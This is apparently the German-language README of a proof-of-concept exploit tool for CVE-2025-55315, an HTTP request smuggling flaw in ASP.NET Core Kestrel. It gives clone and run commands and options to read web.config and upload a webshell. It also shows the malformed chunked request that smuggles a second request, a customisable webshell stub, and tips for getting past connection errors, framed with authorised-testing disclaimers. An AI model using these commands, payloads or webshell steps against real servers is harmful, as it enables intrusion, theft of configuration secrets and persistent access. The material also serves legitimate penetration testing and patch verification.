
CVE-2025-55315 PoC Exploit
Tool zur Ausnutzung von HTTP-Request-Smuggling für ASP.NET Core Kestrel
DIESES TOOL IST NUR FÜR AUTORISIERTE SICHERHEITSTESTS GEEIGNET!
Professionelles Penetrationstest-Tool für CVE-2025-55315 (HTTP-Request-Smuggling-Schwachstelle in ASP.NET Core Kestrel). Dieses Tool ist für die Analyse einzelner Ziele mit umfassenden Exploit-Funktionen konzipiert.
Eine kritische HTTP-Request-Smuggling-Schwachstelle im ASP.NET Core Kestrel-Webserver (CVSS 9.9/10), die Angreifern Folgendes ermöglicht:
Betroffene Versionen:
# Python 3.7 or higher
python3 --version
# No external dependencies - uses only standard library
# Clone or download the tool
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# Make executable
chmod +x cve_2025_55315_PoC.py
python3 cve_2025_55315_PoC.py -t target.com
Das wird Folgendes tun:
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
Szenario: Prüfen, ob der Produktionsserver verwundbar ist
python3 cve_2025_55315_PoC.py -t api.mycompany.com
Erwartete Dauer: 30-60 Sekunden
Szenario: Umfassender Endpunkt-Scan mit ausführlicher Ausgabe
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
Erwartete Dauer: 2-5 Minuten
Szenario: Bestimmte kritische Endpunkte testen
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
Szenario: Internen HTTP-Server testen
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
Required Arguments:
-t, --target Target hostname or URL (e.g., target.com)
Optional Arguments:
-p, --port Port number (default: 443 for SSL, 80 for non-SSL)
-e, --endpoint Specific endpoint(s) to test (can be used multiple times)
--no-ssl Disable SSL/HTTPS (use HTTP)
--read-config Attempt to read web.config file
--upload-shell Attempt webshell upload (requires confirmation)
-o, --output Save report to file
-v, --verbose Enable verbose output
--timeout Socket timeout in seconds (default: 10)
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- Server Information ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- VULNERABLE ENDPOINTS (2) ---
✗ /api/login
Details: Request smuggling successful - multiple responses
✗ /api/health
Details: Request smuggling successful - multiple responses
--- SUCCESSFUL EXPLOITS ---
✓ web.config_read via /api/login
Interpretation:
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- Server Information ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
✓ No vulnerable endpoints found - target may be patched
Interpretation:
Stellen Sie vor der Ausführung dieses Tools sicher, dass:
Das Tool nutzt CVE-2025-55315 mithilfe eines fehlerhaften Chunked-Transfer-Encodings aus:
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← VULNERABILITY: Lone \n instead of \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← This becomes a separate request
Host: target.com
Warum das funktioniert:
\n als Zeilenende → verarbeitet die Anfrage als einzelne Anfrage\n → behandelt die geschmuggelte GET-Anfrage als separate Anfrage| Serverantwort | Interpretation | Status |
|---|---|---|
400 Bad Request | Kestrel hat den fehlerhaften Chunk abgelehnt | ✅ Sicher (gepatcht) |
Mehrere HTTP/1.1 | Zwei separate Antworten empfangen | ❌ Verwundbar |
500 oder 502 | Interner Serverfehler | ⚠️ Wahrscheinlich verwundbar |
Normale 200 OK | Anfrage akzeptiert | ⚠️ Nicht eindeutig |
[ERROR] Connection failed: [Errno 111] Connection refused
Lösungen:
ping target.com--no-ssl[ERROR] Connection failed: certificate verify failed
Lösung:
Das Tool deaktiviert die Zertifikatsprüfung bereits. Wenn das Problem weiterhin besteht:
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
[WARNING] No response - possible timeout
Lösungen:
--timeout 30[WARNING] Upload blocked (forbidden/method not allowed)
Erklärung:
Das ist normal - nicht alle verwundbaren Systeme erlauben Datei-Uploads.
Microsoft Security Advisory: https://github.com/dotnet/aspnetcore/issues/64033
NVD-Datenbank: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
Praetorian Research ($10k Bug Bounty): https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
Technische Analyse von Andrew Lock: https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
PortSwigger Research: https://portswigger.net/web-security/request-smuggling
OWASP: https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
Bearbeiten Sie COMMON_ENDPOINTS im Skript:
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# Add your endpoints here
]
Modifizieren Sie die Methode upload_webshell():
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- Your custom ASPX webshell here -->
'''
Wenn Sie Fehler finden oder Vorschläge haben:
-v-o debug.txtTHIS TOOL IS PROVIDED "AS IS" FOR EDUCATIONAL AND AUTHORIZED
SECURITY TESTING PURPOSES ONLY.
THE AUTHOR(S):
❌ Do NOT endorse illegal activities
❌ Are NOT responsible for misuse
❌ Are NOT liable for any damages
❌ Do NOT provide legal advice
BY USING THIS TOOL YOU AGREE:
✅ To use only on authorized systems
✅ To accept full legal responsibility
✅ To comply with all applicable laws
✅ To follow ethical hacking principles
UNAUTHORIZED USE IS STRICTLY PROHIBITED AND ILLEGAL!
Dieses Tool wurde erstellt für:
Nicht für:
Nur für Bildungszwecke und autorisierte Sicherheitstests
Dieses Tool wird für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Kommerzielle Nutzung, Weiterverbreitung oder Verwendung für bösartige Zwecke ist strengstens untersagt.
╔═════════════════════════════════════════════════════════════╗
║ ║
║ USE THIS TOOL RESPONSIBLY AND LEGALLY! ║
║ ║
║ Unauthorized access to computer systems is a CRIME. ║
║ Always obtain written permission before testing. ║
║ Follow responsible disclosure practices. ║
║ ║
║ Happy (Legal) Hacking! ║
║ ║
╚═════════════════════════════════════════════════════════════╝